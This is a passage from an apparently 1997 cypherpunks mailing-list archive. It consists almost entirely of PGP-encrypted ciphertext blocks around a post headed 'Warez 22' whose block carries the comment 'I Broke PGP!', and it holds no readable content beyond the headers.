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
wK8ZUEZYDrJVqw0kq/bzvU+xD3cbDMdg13w=
=A6cd
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 01:10:13 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 17:10:13 +0800
Subject: Warez 22
Message-ID: <199712180902.BAA16576@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

qANQR1DDBAQDAAHJ7Oqdxh0DkZLljLjKEkQ9mpOUMmvPTXy31D+nJ1ZPO1qbGw/b
y4lOx+8pg81rV5U/8CO9iFLqlhn+ugQyDdIVoaSDjq5hFoJ9XcyEtqEFu9veLJ/G
nfqm77RHK/8nAb+NtdYgz0MC21mxEwhE4h0gmOAnJdI+jkk/jCsknq02DpX7lX18
Up49IcNQPZVkivuEbNExHO0ZxvRFH+vtK28obZ5m9oSkqd107/7hNiCm4stkaVLs
ULYKuZOK8XoNJisKu1FZdv3eY9YrONQm1IlhTCOSRRnvyMaVUDcUcewwNrDfa3LK
dfKndZTJUl3Sli4wDpy1d+XTaUxFNiBR0Jiqx/SExDRM75g/nVgFu2b4TggcyquK
/vCRdhH6Vxn1Z3G9OSfWoA9oNatmGA3eiGn1s/swHUJ9wog9/8DUUHoG74DCo+AA
Sk8Ak+QAMyj4OmPHga7gViMTRNhmw8U//Lr5q12aJMVrkquFt3SUWlo4T14WD121
52v+ieWeAcncEzSP/hu+KwdNJzu26nLR23USjXr6wdGc57H/5ON0/ZKuk7TkivZ6
IskpRYW1jUxZMBsQvTb9cU+jLpWFEsI2B5sT10XPl0KK6xIL9GqOdd2MdvwXJx2W
q8fOIoz8I278pqOJU5lDfbyvKwM6QCnxeGj15zKjXLTuslRxaxGahyZzAa20its3
FNEs16/7PnaKamwOVXtbnaLMHen3nzqZU/nN1QFhUpCGUvUoFWCl0/WAALUHUnWH
5Ictj9XGDUL7RMgkLVYsHJ7Sbamru18V06ty8SBU9WUDTSENei06tdxCnK69fI0k
XMeE9P7183hLZRue9AGuig5FOjmb3F6voGyTjxXySBOfO+QNuSmwulgJvSClxSOV
jnrE0Heg0a9SRptlAeVletXlkvwf5ez+lObaw2EUMWNWZtdyC2BC8nvzMG9Xy+8R
ZGtBcGaMJsjyuy66F6N5U7cC583NiT/yqDE2K3sP0985wMtuSocsid9fUelhL0OX
GnSJGy+CGqbRUcwq6+ICUjiSd82Nmf0tGxjGIEB/ePFVIutaPNz5Qg0Um1jCOulp
YJneJYn7TuBoXelFmp8TSS6xqCly1beGEThG0ABn7kyJZreMsqzbY3e9VeC4WZIf
Ld+3jLVhEPK5Yf6aKhy7ZXPspghw0LNDwPTsji9Tj7YP3qUrAQgnq19p5oaP0RHg
uqg2EYhecEE6t3D0ODszyQInf05/WHS3kwNqfRHcbYKD3Pgk93eg/9XlqhmDWL3T
ZHxKuk5A3wjtee60yHtnJPXJCS6pGqYPSxqsHho03cUPCBqneqBetaqKQielGxNE
W+0TC4u0yI2zzbkpUzxevj88IAg5wCVgBctBNNygx9s8Q31PyPlEHigVQSWS7p7t
yZLhHeKUHI0N3x4z6K/qn4KuhE87CynGiH4sN0Ubg20JUGy/++ptKHS0BcoLuzjd
Vca2cEq9dJ19AX40B2w4hl+tpPcofGLdCTRDY9bFmcNP1K+0WS6M8WxnjaLW+ipO
UEfU2OlnC2bZ57+Dlu5t627/UHoj99p6TfY1GXLdfacazdp3dLKnphovzswz2snz
6bIbF1u6JpvWMRh/XesG68LV8dv45GL2FR0vaPA90jnRRVfZzWRHiWg2SLQFLUgS
Sq/XA0Dn+2aTyqFopvTeQORjpUGru9DUvymKe+9NGh8obIkPEfsccowlSLGCsDHw
w2cv/s/GMkiMUqnXSuQKmrlSVN8fg3rCidB9ChBGKOD1snU+o4w3pqqR+uaspfKe
VdWOys8vifnzvz8zS9EwhYECt7YCL9enHShJXk/la/Ix41my74rESj82O4Kl3E1j
EqeMYWMlttejPuTDqDL42YZDc3xJjFfMjGDXrOW0FQw3GTkWuE6mHkhZmvs5Btgw
OwwjEDZYPhduriX5ejRXWbYs833Hf2ABrSIkDOBdqPsmiqKAynG2RgBr/3Dojb4k
0NSOkchFz1aOJOB1b4sXDVn0GV6oAX3vbV68ViJ/ihN3YLvINkis4hKpfcQ5DfNJ
sMG/u30xyJ88LVS8HjmMU7MH1y4nzfijhJOhpqnHH27WWk+ASl/nZOwpf6giyagC
VdRR7dhkBJ1d/r5y41H6JTLJsWqt9CNlp42cxqupKrIVEyH9ENvGg6wO08YTuQCH
2C3YUQZyqdjAE1BLKxisdREEcMsQ5Wny9/ZYUUGy4BOafdFnx4Wldc+pSlyX3l2a
h1dALjhTkMfCEidqVPTdBbzdK8PvF6QS2faCehCQvJ7DSTV9OwGoOfM/G/h4z4vA
GLT/DXtKEYPDUL46VF6DUXDAPsftMphdomxxcr2aAwUZOs2ke55Niz1e/EXegYtz
PRe5kS7rygMz+2lVIXeXDlMtIivurAcgpOy7d7nP8A2Nm6zs8cbQn96lDUNWgcCo
707Vcn8tB6EMGn4ahu0eTqlGghAfh608uXgIxvfuQ9v0esV5s6cQKZL4xq7oDh3q
4GlQIX2/BjRVK4tfUTCyYj0tLXGDMHC5AHU6LuyHYbew3Z8pT8UgIq20eKNXGSIr
qd1wZoTQ1/XsagdYJttgE5ZNhH0hWWtQU7YGAZXVEIcPG/nyNg2R1/qfinMB9siW
18bklVpt446z9D1XVx7QmMgcY3UAwDlhvwk7W/SRvLLTSEm7pNAjJR8KoeQDKUGn
kTZKJaHmDGzvioHNdPiFNTbT4O0FmqxNfJVIpnx5KA95+V6PcvGHI5u6L9QBeCGj
5UcJ3251TZN0WWolnfR/IsjznIRIFkX7uvOdouCRwTBvjNqCgtVP2EPlNqryjZDN
Ymij5cD/pjMaHaqmD+Wc8Hg0EUJbjARWaZpP8MFqotHh2uy1/r/AD9oWPUbssUkS
